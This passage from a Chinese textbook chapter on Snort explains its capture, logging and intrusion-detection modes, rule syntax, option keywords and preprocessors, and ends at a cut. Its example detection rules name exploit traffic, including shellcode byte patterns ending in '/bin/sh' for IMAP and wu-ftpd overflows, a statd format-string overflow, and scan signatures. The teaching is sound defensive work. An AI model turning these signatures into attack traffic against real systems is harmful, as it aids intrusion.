    while  (＜＞)  {
        chomp;
        (my  $user, my  $pass)=split  /:/, $_, 2;
        my  $crypt=crypt  $pass, '$1$'  . gensalt(8);
        print  "$user:$crypt\n";
    }
    sub  gensalt  {
        my  $count=shift;
        my  @salt=('.', '/', 0  .. 9, 'A'  .. 'Z', 'a'  .. 'z');
        my  $s;
        $s  .=$salt[rand  @salt] for  (1  .. $count);
        return  $s;
    }



7.2 Snort的使用



7.2.1 Snort的工作模式


Snort有三种工作模式：数据包采集、数据包记录器、网络入侵检测系统。数据包采集模式仅仅是从网络上读取数据包并作为连续不断的流显示在终端上。数据包记录器模式把数据包记录到硬盘上。网络入侵检测模式是最复杂的，而且是可配置的。我们可以让snort分析网络数据流以匹配用户定义的一些规则，并根据检测结果采取一定的动作。

1.数据包采集

所谓的数据包采集模式就是 snort 从网络上读出数据包然后显示在用户的控制台上。首先，我们从最基本的用法入手。如果要把TCP/IP包头信息显示在屏幕上，只需要使用如下的命令：


    ./snort  -v


使用这个命令将使snort只输出IP和TCP/UDP/ICMP的包头信息。如果需要看到应用层的数据，可以使用：


    ./snort  -vd


这条命令使snort在输出包头信息的同时显示包的数据信息。如果还要显示数据链路层的信息，就使用下面的命令：


    ./snort  -vde


注意这些选项开关还可以分开写或者任意结合在一块。例如：下面的命令就和上面最后的一条命令等价：


    ./snort  -d  -v  –e


2.数据包记录器

如果要把所有的包记录到硬盘上，则需要指定一个日志目录，snort就会自动记录数据包：


    ./snort  -dev  -l  ./log


当然，./log目录必须存在，否则snort就会报告错误信息并退出。当snort在这种模式下运行，它会记录所有看到的包将其放到一个目录中，这个目录以数据包目的主机的IP地址命名，例如：192.168.10.1

如果只指定了-l命令开关，而没有设置目录名，snort有时会使用远程主机的IP地址作为目录，有时会使用本地主机IP地址作为目录名。为了只对本地网络进行记录，需要给出本地网络：


    ./snort  -dev  -l  ./log  -h  192.168.1.0/24


这个命令告诉snort把进入C类网络192.168.1的所有包的数据链路、TCP/IP，以及应用层的数据记录到目录./log中。

如果网络速度很快，或者希望让日志更加紧凑以便以后的分析，那么应该使用二进制的日志文件格式。所谓的二进制日志文件格式就是tcpdump程序使用的格式。使用下面的命令可以把所有的包记录到一个单一的二进制文件中：


    ./snort  -l  ./log  -b


注意此处的命令行和上面的有很大的不同。我们不需要指定本地网络，因为所有的东西都被记录到一个单一的文件；也不必冗余模式或者使用-d、-e 功能选项，因为数据包中的所有内容都会被记录到日志文件中。

可以使用任何支持tcpdump二进制格式的数据包采集程序从这个文件中读出数据包，例如：tcpdump或者Ethereal。使用-r功能开关，也能使snort读出包的数据。snort在所有运行模式下都能够处理 tcpdump格式的文件。例如：如果想在数据包采集模式下把一个 tcpdump格式的二进制文件中的包打印到屏幕上，可以输入下面的命令：


    ./snort  -dv  -r  packet.log


在日志包和入侵检测模式下，通过 BPF（BSD Packet Filter）接口，可以使用许多方式维护日志文件中的数据。例如，如果只想从日志文件中提取 ICMP 包，只需要输入下面的命令行：


    ./snort  -dvr  packet.log  icmp


3.网络入侵检测系统

snort最重要的用途还是作为网络入侵检测系统（NIDS），使用下面命令行可以启动这种模式：


    ./snort  -dev  -l  ./log  -h  192.168.1.0/24  -c  snort.conf


snort.conf 是规则集文件。snort 会对每个包和规则集进行匹配，发现这样的包就采取相应的行动。如果没有指定输出目录，snort就输出到/var/log/snort目录。

注意：如果希望长期使用 snort 作为自己的入侵检测系统，最好不要使用-v 选项。因为使用这个选项，使snort向屏幕上输出一些信息，会大大降低snort的处理速度，从而在向显示器输出的过程中丢弃一些包。

此外，在绝大多数情况下，也没有必要记录数据链路层的包头，所以-e 选项也可以不用：


    ./snort  -d  -h  192.168.1.0/24  -l  ./log  -c  snort.conf


这是使用snort作为网络入侵检测系统最基本的形式，日志符合规则的包，以 ASCII 形式保存在有层次的目录结构中。

4.网络入侵检测模式下的输出选项

在NIDS模式下，有很多的方式来配置snort的输出。在默认情况下，snort以ASCII格式记录日志，使用full报警机制。如果使用full报警机制，snort会在包头之后打印报警消息。如果不需要日志包，可以使用-N选项。

snort有6种报警机制：full、fast、socket、syslog、smb（winpopup）和none。其中有4个可以在命令行状态下使用-A选项设置。这4个是：

-A fast：报警信息包括：一个时间戳（timestamp）、报警消息、源/目的IP地址和端口。

-A full：是默认的报警模式。

-A unsock：把报警发送到一个UNIX套接字，需要有一个程序进行监听，这样可以实现实时报警。

-A none：关闭报警机制。

使用-s选项可以使snort 把报警消息发送到 syslog，默认的设备是 LOG_AUTHPRIV 和LOG_ALERT。可以修改snort.conf文件修改其配置。

snort还可以使用SMB报警机制，通过SAMBA把报警消息发送到Windows主机。为了使用这个报警机制，在运行./configure脚本时，必须使用--enable-smbalerts选项。

下面是一些输出配置的例子：

使用默认的日志方式（以解码的ASCII格式）并且把报警发给syslog：


    ./snort  -c  snort.conf  -l  ./log  -s  -h  192.168.1.0/24


使用二进制日志格式和SMB报警机制：


    ./snort  -c  snort.conf  -b  -M  WORKSTATIONS



7.2.2 编写Snort 规则


snort使用一种简单的，轻量级的规则描述语言，这种语言灵活而强大。大多数 snort规则都写在一个单行上，或者在多行之间的行尾用/分隔。Snort 规则被分成两个逻辑部分：规则头和规则选项。规则头包含规则的动作、协议、源和目标IP地址与网络掩码，以及源和目标端口信息；规则选项部分包含报警消息内容和要检查的包的具体部分。

下面是一个规则范例：


    alert tcp any any -＞ 192.168.1.0/24 111 (content:"|00 01 86 a5|"; msg: "mountd access";)


第一个括号前的部分是规则头（rule header），包含的括号内的部分是规则选项（rule options）。规则选项部分中冒号前的单词称为选项关键字（option keywords）。注意，不是所有规则都必须包含规则选项部分，选项部分只是为了使对要收集或报警，或丢弃的包的定义更加严格。组成一个规则的所有元素对于指定的要采取的行动都必须是真的。当多个元素放在一起时，可以认为它们组成了一个逻辑与（AND）语句。同时，snort规则库文件中的不同规则可以认为组成了一个大的逻辑或（OR）语句。

除了规则之外，Snort还支持一些配置和定义选项，常见的选项见表7.2。


表7.2 常见的规则文件定义
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表7.3 Config所对应的可配置项
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续表
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1.规则动作

规则的头包含了定义一个包的who、where和what信息，以及当满足规则定义的所有属性的包出现时要采取的行动。规则的第一项是“规则动作”（rule action），“规则动作”告诉snort在发现匹配规则的包时要干什么。在snort中有五种动作：alert、log、pass、activate和dynamic。

Alert——使用选择的报警方法生成一个警报，然后记录（log）这个包。

Log——记录这个包。

Pass——丢弃（忽略）这个包。

activate——报警并且激活另一条dynamic规则。

dynamic——保持空闲直到被一条activate规则激活，被激活后就作为一条log规则执行。

当然，Snort也允许自定义规则类型并且附加一条或者更多的输出模块给它，然后就可以使用这些规则类型作为snort规则的一个动作。

下面这个例子创建一条规则，记录到tcpdump。


    ruletype  suspicious
    {
    type  log  output
    log_tcpdump:  suspicious.log
    }


下面这个例子创建一条规则，记录到系统日志和MySQL数据库


    ruletype  redalert
    {
    type  alert  output
    alert_syslog:  LOG_AUTH  LOG_ALERT
    output database: log，mysql，user=snort dbname=snort host=localhost
    }


2.协议

规则的下一部分是协议。Snort当前分析可疑包的IP协议有四种：TCP、UDP、ICMP和IP。将来可能会更多，例如ARP、IGRP、GRE、OSPF、RIP、IPX等。

3.IP地址

规则头的下一个部分处理一个给定规则的 IP地址和端口号信息。关键字“any”可以被用来定义任何地址。Snort没有提供根据IP地址查询域名的机制。地址就是由直接的数字型ip地址和一个cidr块组成的。Cidr块指示作用在规则地址和需要检查的进入的任何包的网络掩码。/24 表示 c 类网络，/16 表示 b 类网络，/32 表示一个特定的机器的地址。例如，192.168.1.0/24代表从192.168.1.1到192.168.1.255的地址块。在这个地址范围的任何地址都匹配使用这个 192.168.1.0/24 标志的规则。这种记法给我们提供了一个很好的方法来表示一个很大的地址空间。

有一个操作符可以应用在IP地址上，它是否定运算符（negation operator）。这个操作符告诉snort匹配除了列出的IP地址以外的所有IP地址。否定操作符用“！”表示。下面这条规则对任何来自本地网络以外的流都进行报警。


    alert tcp !192.168.1.0/24 any -＞ 192.168.1.0/24 111 (content: "|00 01 86 a5|";msg:  "external  mountd  access";)


这个规则的IP地址代表“任何源IP地址不是来自内部网络而目标地址是内部网络的TCP包”。

也可以指定IP地址列表，一个IP地址列表由逗号分割的IP地址和CIDR块组成，并且要放在方括号“[]”内。此时，IP列表可以不包含空格在IP地址之间。下面是一个包含IP地址列表的规则的例子。


    alert tcp ![192.168.1.0/24，10.1.1.0/24]any -＞[192.168.1.0/24，10.1.1.0/24]111  (content:  "|00  01  86  a5|"; msg:  "external  mountd  access";)


4.端口号

端口号可以用几种方法表示，包括“any”端口、静态端口定义、范围，以及通过否定操作符。“any”端口是一个通配符，表示任何端口。静态端口定义表示一个单个端口号，例如111表示portmapper，23表示telnet，80表示http等等。端口范围用范围操作符“：”表示。范围操作符可以有数种使用方法，如下所示：


    log  udp  any  any  -＞  192.168.1.0/24  1:1024


记录来自任何端口的，目标端口范围在1到1024的udp流


    log  tcp  any  any  -＞  192.168.1.0/24  :6000


记录来自任何端口，目标端口小于等于6000的tcp流


    log  tcp  any  :1024  -＞  192.168.1.0/24  500:


记录来自任何小于等于1024的特权端口，目标端口大于等于500的tcp流

端口否定操作符用“！”表示。它可以用于任何规则类型（除了 any）。例如，由于某个古怪的原因需要记录除x windows端口以外的所有一切，则可以使用类似下面的规则：


    log  tcp  any  any  -＞  192.168.1.0/24  !6000:6010


5.方向操作符

方向操作符“→”表示规则所施加的流的方向。方向操作符左边的IP地址和端口号被认为是流来自的源主机，方向操作符右边的IP地址和端口信息是目标主机，还有一个双向操作符“＜ ＞”。它告诉snort把地址/端口号对既作为源，又作为目标来考虑。这对于记录/分析双向对话很方便，例如telnet或者pop3会话。用来记录一个telnet会话的两侧的流的范例如下：


    log  !192.168.1.0/24  any ＜＞  192.168.1.0/24  23


6.规则选项

规则选项组成了Snort入侵检测引擎的核心，既易用又强大还灵活。所有的Snort规则选项用分号“；”隔开。规则选项关键字和它们的参数用冒号“：”分开。按照这种写法，Snort的规则选项关键字见表7.4。


表7.4 Snort规则选项关键字
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续表
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msg：msg规则选项告诉记录和报警引擎，记录或报警一个包的内容的同时打印的消息。它是一个简单的文本字符串，转义符是“\”。

logto：logto选项告诉Snort把触发该规则的所有的包记录到一个指定的输出日志文件中。这在把来自诸如nmap活动、http cgi扫描等的数据组合到一起时很方便。需要指出的是当Snort工作在二进制记录模式下时这个选项不起作用。

ttl：这个规则选项用于设置一个要检查的存活期的值。只有确切地匹配时它所进行的检查才成功。这个选项关键字用于检测traceroute。

TOS：tos关键字允许用户验证IP头中TOS字段为一个特殊的值。只有匹配时才执行成功。

id：这个选项关键字用于检测IP头的分片ID的值。有些攻击者工具（以及别的程序）为了各种目的设置这个域的值，例如一些攻击者常使用 31337。用一个简单的规则检查这个值就可以对付他们。

ipoption：如果数据包中使用了IP选项，Ipoption选项会查找使用中的某个特别IP选项，比如源路由。这个选项的合法参数如表7.5所示。


表7.5 常见的ipoption

[image: ]


松散和严格源路由是IP选项中最经常被检查的内容，但是它们并没有被用在任何广泛使用的Internet应用中。每一个特定的规则只能用这个选项一次。

fragbits：这条规则检测IP头中的分段和保留位字段的值，共有三个位能被检测，保留位RB（Reserved Bit）、更多分段位MF（More Fragments）和不分段位DF（Don’t Fragment）。这些位可以结合在一起来检测。使用下面的值来代表这些位，R-RB、M-MF、D-DF。也可以使用修饰语对特殊的位来指出合理的匹配标准。

dsize：dsize 选项用于检查包的净荷的大小。它可以设置成任意值，可以使用大于/小于符号来指定范围。例如，如果知道某个特定的服务有一个特定大小的缓冲区，则可以设定这个选项来监视缓冲区溢出的企图。它在检查缓冲区溢出时比检查净荷内容的方法要快得多。

content：content关键字是Snort中比较重要的一个。它允许用户设置规则在包的净荷中搜索指定的内容并根据内容触发响应。当进行content选项模式匹配时，Boyer-Moore模式匹配函数被调用，并且对包的内容进行检查（很花费计算能力）。如果包的净荷中包含的数据确切地匹配了参数的内容，这个检查成功并且该规则选项的其他部分被执行。注意这个检查是大小写敏感的。

content关键字的选项数据比较复杂；它可以包含混合的文本和二进制数据。二进制数据一般包含在管道符号中（“|”），表示为字节码（bytecode）。字节码把二进制数据表示为16进制数字，是描述复杂二进制数据的好方法。下面是包含了一个混合数据的Snort规则范例。


    alert tcp any any -＞ 192.168.1.0/24 143 (content: "|90C8 C0FF FFFF|/bin/sh";msg:  "IMAP  buffer  overflow!";)


注：多内容的规则可以放在一条规则中，还有（: ; / ―）不能出现在content规则中。如果一条规则前面有一个“！”。那么那些不包含这些内容的数据包将触发报警。这对于关注那些不包含一定内容的数据包是有用的。

offset：offset规则选项被用作使用content规则选项关键字的规则的修饰符。这个关键字修饰符指定模式匹配函数从包净荷开始处开始搜索的偏移量。它对于 cgi 扫描检测规则很有用，cgi扫描的内容搜索字符串不会在净荷的前4个字节中出现。小心不要把这个偏移量设置得太严格了，会有可能漏掉攻击！这个规则选项关键字必须和content规则选项一起使用。

depth：depth也是一个content规则选项修饰符。它设置了内容模式匹配函数从他搜索的区域的起始位置搜索的最大深度。它对于限制模式匹配函数超出搜索区域指定范围而造成无效搜索很有用（也就是说，如果在一个Web包中搜索“cgi-bin/phf”，你可能不需要浪费时间搜索超过净荷的头20个字节）。例子：


    alert  tcp  any  any  -＞  192.168.1.0/24  80  (content:  "cgi-bin/phf"; offset:  3;depth:  22; msg:  "CGI-PHF  access";)


nocase：nocase选项用于取消content规则中的大小写敏感性。它在规则中指定后，任何与包净荷进行比较的ASCII字符都被既作为大写又作为小写对待。例子：


    alert  tcp  any  any  -＞  192.168.1.0/24  21  (content:  "USER  root"; nocase; msg:"FTP  root  user  access  attempt";)


flags：这个规则检查TCP标志。在Snort中有9个标志变量：


    F  -  FIN  (LSB  in  TCP  Flags  byte)
    S  -  SYN
    R  -  RST
    P  -  PSH
    A  -  ACK
    U  -  URG
    2  -  Reserved  bit  2
    1  -  Reserved  bit  1  (MSB  in  TCP  Flags  byte)
    0  -  No  TCP  Flags  Set


在这些标志之间还可以使用逻辑操作符：

+ALL flag，匹配所有的指定的标志外加一个标志。

* ANY flag，匹配指定的任何一个标志。

! NOT flag，如果指定的标志不在这个数据包中就匹配成功。

保留位可以用来检测不正常行为，例如IP栈指纹攻击或者其他可疑的行为。例子：


    alert any any -＞ 192.168.1.0/24 any (flags: SF，12; msg: "Possible SYN FIN scan";)


seq：这个规则选项引用TCP顺序号（sequence number）。基本上，它探测一个包是否有一个静态的顺序号集，因此很少用。它是为了完整性而包含进来的。

ack：ack 规则选项关键字引用 TCP 头的确认（acknowledge）部分。这个规则的一个实用的目的是：检查nmap tcp ping，nmap tcp ping把这个域设置为0，然后发送一个tcp ack flag置位的包来确定一个网络主机是否活着。例子：


    alert any any -＞ 192.168.1.0/24 any (flags: A; ack: 0; msg: "NMAP TCP ping";)


window：这条规则选项指向 TCP 窗口大小。这个选项检查静态窗口大小，此外别无他用。包括它只是为了完整性。

itype：这条规则测试ICMP的type字段的值。它被设置为使用这个字段的数字值。要得到所有可能取值的列表，可以参见Snort包中自带的decode.h文件，任何ICMP的参考资料中也可以得到。应该注意的是，type字段的取值可以超过正常范围，这样可以检查用于拒绝服务或flooding攻击的非法type值的ICMP包。

icode：icode规则选项关键字和itype规则非常接近，在这里指定一个数值，Snort会探测使用该值作为code值的ICMP包。超出正常范围的数值可用于探测可疑的流量。

session：session关键字用于从TCP会话中抽取用户数据。要检查用户在telnet，rlogin，ftp或web sessions中的用户输入，这个规则选项特别有用。Session规则选项有两个可用的关键字作为参数：printable或all。Printable关键字仅仅打印用户可以理解或者可以键入的数据。All关键字使用16进制值来表示不可打印的字符。该功能会显著地降低Snort的性能，所以不能用于重负载环境。它适合于对二进制（tcpdump格式）log文件进行事后处理。例子：


    log  tcp  any  any ＜＞  192.168.1.0/24  23  (session:  printable;)


icmp_id：icmp_id选项检查ICMP ECHO数据包中ICMP ID数值是否是指定值。许多秘密通道（covert channel）程序使用静态ICMP字段通信，所以该选项在检查这种流量时非常有用。这个特别的插件用于增强由Max Vision编写的stacheldraht探测规则，但是在探测一些潜在攻击时确实有效。

icmp_seq：icmp_seq选项检查ICMP ECHO数据包中ICMP sequence字段数值是否是指定值。许多秘密通道（covert channel）程序使用静态ICMP字段通信，所以该选项在检查这种流量时非常有用。这个特别的插件用于增强由Max Vision编写的stacheldraht探测规则，但是在探测一些潜在攻击时确实有效（该字段的信息和 icmp_id 的描述几乎完全相同，实际上它们就是同样的东西）。

rpc：这个选项查看 RPC请求，并自动将应用（Application）、过程（procedure）和程序版本（program version）译码，如果所有三个值都匹配的话，该规则就显示成功。这个选项的格式为“应用、过程、版本”。在过程和版本域中可以使用通配符“*”。例子：


    alert tcp any any -＞ 192.168.1.0/24 111 (rpc: 100000，*，3; msg:"RPC getport (TCP)";)
    alert udp any any -＞ 192.168.1.0/24 111 (rpc: 100000，*，3; msg:"RPC getport (UDP)";)
    alert udp any any -＞ 192.168.1.0/24 111 (rpc: 100083，*，*; msg:"RPC ttdb";)


resp：resp 关键字可以对匹配一条 Snort 规则的流量进行灵活的反应（flexible reponse-FlexResp）。FlexResp代码允许Snort主动地关闭恶意的连接。该插件合法的参数如表7.6所示。


表7.6 常见的响应选项
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在向目标主机发送多种响应数据包时，这些选项组合使用。多个参数之间使用逗号分隔。使用resp选项时要小心，因为很容易就会使Snort陷入无限循环中，例如如下规则：


    alert  tcp  any  any  -＞  192.168.1.1/24  any  (msg:  "aiee!"; resp:  rst_all;)


content_list：content_list 关键字允许多内容字符串被放在一个单独的内容匹配选项中，被匹配的字符串被存放在指定的文件中，而且每个字符串要单独占用一行。否则它们就等同于一个content字符串。这个选项是react关键字的基础。

react：注意，使用这个功能很容易使网络流量陷入回路。React关键字以匹配一个规则时所作出的灵活的反应为基础。基本的反应是阻塞一些引人注意的站点的用户的访问。响应代码允许Snort积极地关掉有冒犯行为的访问和/或发送一个通知给浏览者。这个通知可以包含用户自己的注释。这个选项包括如下的基本修饰词：block用来关闭连接并且发送一个通知；warm用来发送明显的警告信息。

基本修饰词可以和如下的附加修饰词组合使用：msg用来把msg选项的内容包含进阻塞通知信息中；proxy＜port_nr＞表示使用代理端口发送通知信息。大量的附加修饰词由逗号隔开，react 关键字将被放在选项的最后一项。例子：


    alert  tcp  any  any ＜＞  192.168.1.0/24  80  (content:  "bad.htm"; msg:  "Not  for children!"; react: block，msg;)


reference：这个关键字允许规则包含一个外面的攻击识别系统，这个插件目前支持几种特定的系统。这个插件被输出插件用来提供一个关于产生报警的额外信息的连接。例子：


    alert tcp any any -＞ any 7070 (msg: "IDS411/dos-realaudio"; flags: AP; content:"|fff4 fffd 06|"; reference: arachNIDS，IDS411;)
    alert tcp any any -＞ any 21 (msg: "IDS287/ftp-wuftp260-venglin-linux"; flags:AP; content: "|31c031db 31c9b046 cd80 31c031db|"; reference: arachNIDS，IDS287;reference: bugtraq，1387; reference: cve，CAN-2000-1574; )


sid：这个关键字被用来识别 Snort规则的惟一性。这个信息允许输出插件很容易地识别规则的 ID 号。sid 的范围是这样分配的，小于 100 保留做将来使用；100～1000000 包含在Snort发布包中；大于 1000000 作为本地规则使用。文件sid-msg.map 包含一个从msg标签到Snort规则ID的映射。这将被post-processing 输出模块用来映射一个ID到一个报警信息。

rev：这个关键字是被用来识别规则修改的。修改，随同Snort规则ID、允许签名和描述被较新的信息替换。

classtype：这个关键字把报警分成不同的攻击类。通过使用这个关键字和使用优先级，用户可以指定规则类中每个类型所具有的优先级。具有 classification 的规则有一个缺省的优先级。在文件classification.config中定义规则类。这个配置文件使用如下的语法：


    config classification:＜class name＞，＜class description＞，＜default priority＞


priority：这个关键字给每条规则赋予一个优先级。一个classtype规则具有一个缺省的优先级，但这个优先级是可以被一条priority规则重载的。

uricontent：这个关键字允许只在一个请求的URI（URL）部分进行搜索匹配。它允许一条规则只搜索请求部分的攻击，这样将避免服务数据流的错误报警。关于这个关键字的参数的描述可以参考content关键字部分。这个选项将和HTTP解析器一起工作（只能搜索第一个“/”后面的内容）。

tag：这个关键字允许规则记录不仅仅是触发这条规则的那个数据包。一旦一条规则被触发，来自这个主机的数据包将被贴上“标签”。被贴上标签的数据流将被记录用于随后的响应代码和提交攻击流量的分析。

session 记录触发这条规则的会话的数据包。

host 记录激活tag规则的主机的所有数据包（这里将使用[direction]修饰词）。

count Count 指定一个单位的数量。这个单位由＜metric＞给出。


    metric


packets 标记主机/会话的＜count＞个数据包。

seconds 标记主机/会话的＜count＞秒。

例子：


    alert  tcp  !$HOME_NET  any  -＞  $HOME_NET  143  (flags:  A+; content:  "|e8  c0ff ffff|/bin/sh"; tag: host， 300， packets， src; msg: "IMAP  Buffer  overflow，tagging!";)
    alert tcp!$HOME_NET any-＞ $HOME_NET 23(flags: S;tag:session，10，seconds;msg:  "incoming  telnet  session";)


ip_proto：ip_proto 关键字允许检测 IP 协议头。这些协议可以是由名字标识的，参考/etc/protocols文件。在规则中要谨慎使用ip_protocol关键字。例子：


    alert ip !$HOME_NET any -＞ $HOME_NET any (msg: "IGMP traffic detected"; ip_proto: igmp;)


sameIP：Sameip关键字允许规则检测源IP和目的IP是否相等。例子：


    alert  ip  $HOME_NET  any  -＞  $HOME_NET  any  (msg:  "SRC  IP==DST IP"; sameip;)


flow：这个选项要和TCP流重建联合使用。它允许规则只应用到流量流的某个方向上。这将允许规则只应用到客户端或者服务器端。这将能把内网客户端浏览Web页面的数据包和内网服务器所发送的数据包区分开来。这个确定的关键字能够代替标志：A+这个标志在显示已建立的TCP连接时都将被使用。选项：

to_client 触发服务器上从A到B的响应。

to_server 触发客户端上从A到B的请求。

from_client 触发客户端上从A到B的请求。

from_server触发服务器上从A到B的响应。

established 只触发已经建立的TCP连接。

stateless 不管流处理器的状态都触发（这对处理那些能引起机器崩溃的数据包很有用）。

no_stream 不在重建的流数据包上触发（对dsize 和 stream4 有用）。

only_stream 只在重建的流数据包上触发。

例子：


    alert  tcp  !$HOME_NET  any  -＞  $HOME_NET  21  (flow:  from_client; content:  "CWD incoming"; nocase; msg:  "cd  incoming  detected"; )
    alert tcp !$HOME_NET 0 -＞ $HOME_NET 0 (msg: "Port 0 TCP traffic"; flow: stateless;)


fragoffset：这个关键字允许把 IP 分段偏移值和一个十进制数相比较。为了抓到一个 IP会话的第一个分段，可以使用这个 fragbits 关键字并且和 fragoffset：0 选项一起查看更多的分段选项。例子：


    alert ip any any -＞ any any (msg: "First Fragment"; fragbits: M; fragoffset: 0;)


rawbytes：rawbytes关键字允许规则查看telnet 解码数据来处理不常见的数据。这将使得telnet 协议代码独立于预处理程序来检测。这是对前面的content 的一个修饰。例子：


    alert tcp any any -＞ any any (msg: "Telnet NOP"; content: "|FF F1|"; rawbytes;)


distance：distance 关键字是content关键字的一个修饰词，确信在使用 content时模式匹配间至少有N个字节存在。它被设计成在规则选项中和其他选项联合使用。例子：


    alert tcp any any -＞ any any (content: "2 Patterns"; content: "ABCDE"; content:"EFGH"; distance:  1;)


within：Winthin关键字是content关键字的一个修饰词，确保在使用content时模式匹配间至多有N个字节存在。它被设计成在规则选项中和distance选项联合使用。例子：


    alert tcp any any -＞ any any (content: "2 Patterns"; content: "ABCDE"; content:"EFGH"; within:  10;)


Byte_Test：测试一个字节的域为特定的值。能够测试二进制值或者把字节字符串转换成二进制后再测试。

bytes_to_convert 从数据包取得的字节数。

operator 对检测执行的操作 (＜、＞、=、!)。

value 和转换后的值相测试的值。

offset 开始处理的字节在负载中的偏移量。

relative 使用一个相对于上次模式匹配的相对的偏移量。

big 以网络字节顺序处理数据（缺省）。

little 以主机字节顺序处理数据。

string 数据包中的数据以字符串形式存储。

hex 把字符串数据转换成十六进制数形式。

dec 把字符串数据转换成十进制数形式。

oct 把字符串数据转换成八进制数形式。

例子：


    alert udp $EXTERNAL_NET any -＞ $HOME_NET any (msg:"AMD procedure 7 plog overflow"; content:  "|00  04  93  F3|"; content: "|00  00  00  07|"; distance:  4; within:  4;byte_test: 4，＞，1000，20，relative;)
    alert tcp $EXTERNAL_NET any -＞ $HOME_NET any (msg:"AMD procedure 7 plog overflow"; content:  "|00  04  93  F3|"; content: "|00  00  00  07|"; distance:  4; within:  4;byte_test: 4，＞，1000，20，relative;)


Byte_Jump：Byte_jump 选项用来取得一定数量的字节，并把它们转换成数字形式，跳过一些字节以进一步进行模式匹配。这就允许相对模式匹配在网络数据中进行数字值匹配。

bytes_to_convert 从数据包中选出的字节数。

offset 开始处理的字节在负载中的偏移量。

relative 使用一个相对于上次模式匹配的相对的偏移量。

big 以网络字节顺序处理数据（缺省）。

little 以主机字节顺序处理数据。

string 数据包中的数据以字符串形式存储。

hex 把字符串数据转换成十六进制数形式。

dec 把字符串数据转换成十进制数形式。

oct 把字符串数据转换成八进制数形式。

align 以32位为边界对转换的字节数对齐，即转换的字节数为4的倍数。

例子：


    alert udp any any -＞ any 32770:34000 (content: "|00 01 86 B8|"; content: "|00 00 00 01|";distance:4;within:4;byte_jump:4，12，relative，align;byte_test:4，＞，900，20，relative; msg: "statd format string buffer overflow";)



7.2.3 预处理程序


预处理程序从Snort版本1.5开始引入，使得Snort的功能可以很容易地扩展，用户和程序员能够将模块化的插件方便地融入Snort之中。预处理程序代码在探测引擎被调用之前运行，但在数据包译码之后。通过这个机制，数据包可以通过额外的方法被修改或分析。使用preprocessor关键字加载和配置预处理程序。在Snort规则文件中的preprocessor指令格式如下：


    preprocessor ＜name＞: ＜options＞


例子：


    preprocessor  minfrag:  128


1.HTTP Decode

HTTP Decode用于处理HTTP URI字符串并且将串中的数据转化为可读的ASCII字串。HTTP对于一些特性定义了一个十六进制编码方法，例如字符串%20被解释成一个空格。Web服务器被设计成能够处理无数的客户端并且支持多种不同的标准。

格式：


    http_decode:＜port   list＞   [unicode]  [iis_alt_unicode] ［  double_encode][iis_flip_slash] [full_whitespace]


例子：


    preprocessor  http_decode:  80  8080  unicode  iis_flip_slash  iis_alt_unicode


2.Portscan Detector

Snort Portscan预处理程序的用处是向标准记录设备中记录从一个源IP地址来的端口扫描的开始和结束。如果指定了一个记录文件，在记录扫描类型的同时也记录目的IP地址和端口。

端口扫描定义为在时间T（秒）之内向超过P个端口进行TCP连接尝试，或者在时间T （秒）之内向超过P个端口发送UDP数据包。端口扫描可以是对任一IP地址的多个端口，也可以是对多个IP地址的同一端口进行。现在这个版本可以处理一对一和一对多方式的端口扫描，下一个完全版本将可以处理分布式的端口扫描（多对一或多对多）。端口扫描也包括单一的秘密扫描（stealth scan）数据包，比如NULL，FIN，SYNFIN，XMAS等。如果包括秘密扫描的话，端口扫描模块会对每一个扫描数据包告警。为避免这种情况，可以在 Snort 标准发行版中的 scan-lib 文件里把有关秘密扫描数据包的小节注释掉，这样对每次扫描就只记录一次。如果使用外部记录特性，可以在记录文件中看到（端口扫描的？）技术和类型。该模块的参数如下：

network to monitor - 监视端口扫描的目标网络以network/CIDR表示。

number of ports - 在探测期间访问的端口数目。

detection period - 以秒计数的端口访问时间限制。

logdir/filename - 告警信息存放的目录/文件名，告警也可以写入标准的告警文件中。

格式：


    portscan:＜monitor network＞＜number of ports＞＜detection period＞＜file path＞


例子：


    preprocessor  portscan:  192.168.1.0/24  5  7  /var/log/portscan.log
    Portscan  Ignorehosts


如果用户的服务器（比如NTP，NFS和DNS服务器）会妨碍端口扫描的探测，可以通知portscan模块忽略源自这些主机的TCP SYN和UDP端口扫描。该模块的参数为IPs/CIDR的列表。

格式：


    portscan-ignorehosts: ＜host  list＞


例子：


    preprocessor  portscan-ignorehosts:  192.168.1.5/32  192.168.3.0/24
    Frag2


Frag2 是一个新的 IP 碎片重组预处理器。Frag2 的内存使用和碎片时间超时选项是可配置的。不给出参数，Frag2 将使用缺省的内存量（4MB）和时间超时值（60s）。这个时间值用来决定一个没有重组的分段将被丢弃的时间长度。

格式


    preprocessor  frag2:  [memcap ＜xxx＞]， [timeout ＜xx＞]， [min_ttl ＜xx＞]，[detect_state_problems]，[ttl_limit＜xx＞]


timeout＜seconds＞ 在状态表中保存一个不活跃的流的最大时间值，如果发现活动就重新刷新对话并且这个会话被自动拾起。缺省值是30s。

memcap＜bytes＞ 内存消耗的最大值，如果超出这个值，Frag2就强制削减那些不活跃的会话，缺省值是 4MB。detect_state_problems turns on alerts for events such as overlapping fragments

min_ttl＜xx＞ 设置Frag2接受的最小ttl值。

detect_state_problems 发现重叠分段时报警。

ttl_limit＜xx＞ 设置ttl的极限值，它可以避免报警 （初始化段 TTL+/- TTL Limit）。

例子：


    preprocessor frag2: memcap 16777216，timeout 30


3.Stream4

Stream4 模块使 Snort 具有 TCP 流重新组装和状态分析能力。强壮的流重组能力使得Snort能够忽视无“状态”攻击，例如，stick粘滞位攻击。Stream4也能够给大量用户提供超过256个TCP同步连接。Stream4缺省配置时能够处理32768个TCP同步连接。Stream4有两个可配置的模块，stream4 preprocessor 和相关的 stream4_reassemble 插件。stream4_reassemble有如下选项：

Stream4 格式：


    preprocessor stream4: [noinspect]， keepstats [machine|binary]， [timeout＜seconds＞]， [memcap ＜bytes＞]， [detect_scans]， [detect_state_problems]，[disable_evasion_alerts]，[ttl_limit＜count＞]


noinspect 关闭状态监测能力。

keepstats [machine|binary]保持会话统计，如果是“machine”选项就从机器以平坦的模式读入，如果是“binary”选项就用统一的二进制模式输出。

timeout＜seconds＞ 在状态表中保存一个不活跃的流的最大时间值，如果发现活动就重新刷新对话并且这个会话被自动拾起。缺省值是30秒。

memcap＜bytes＞ 内存消耗的最大值，如果超出这个值，Frag2就强制削减那些不活跃的会话，缺省值是8MB。

detect_scans 打开portscan 的报警能力。

detect_state_problems 打开流事件报警能力，例如，没有RST的数据包、带有数据的SYN包和超出窗口序列号的包。

disable_evasion_alerts 关闭事件报警能力，例如，TCP重叠。

ttl_limit 设置ttl的极限值。

Stream4_Reassemble 格式：


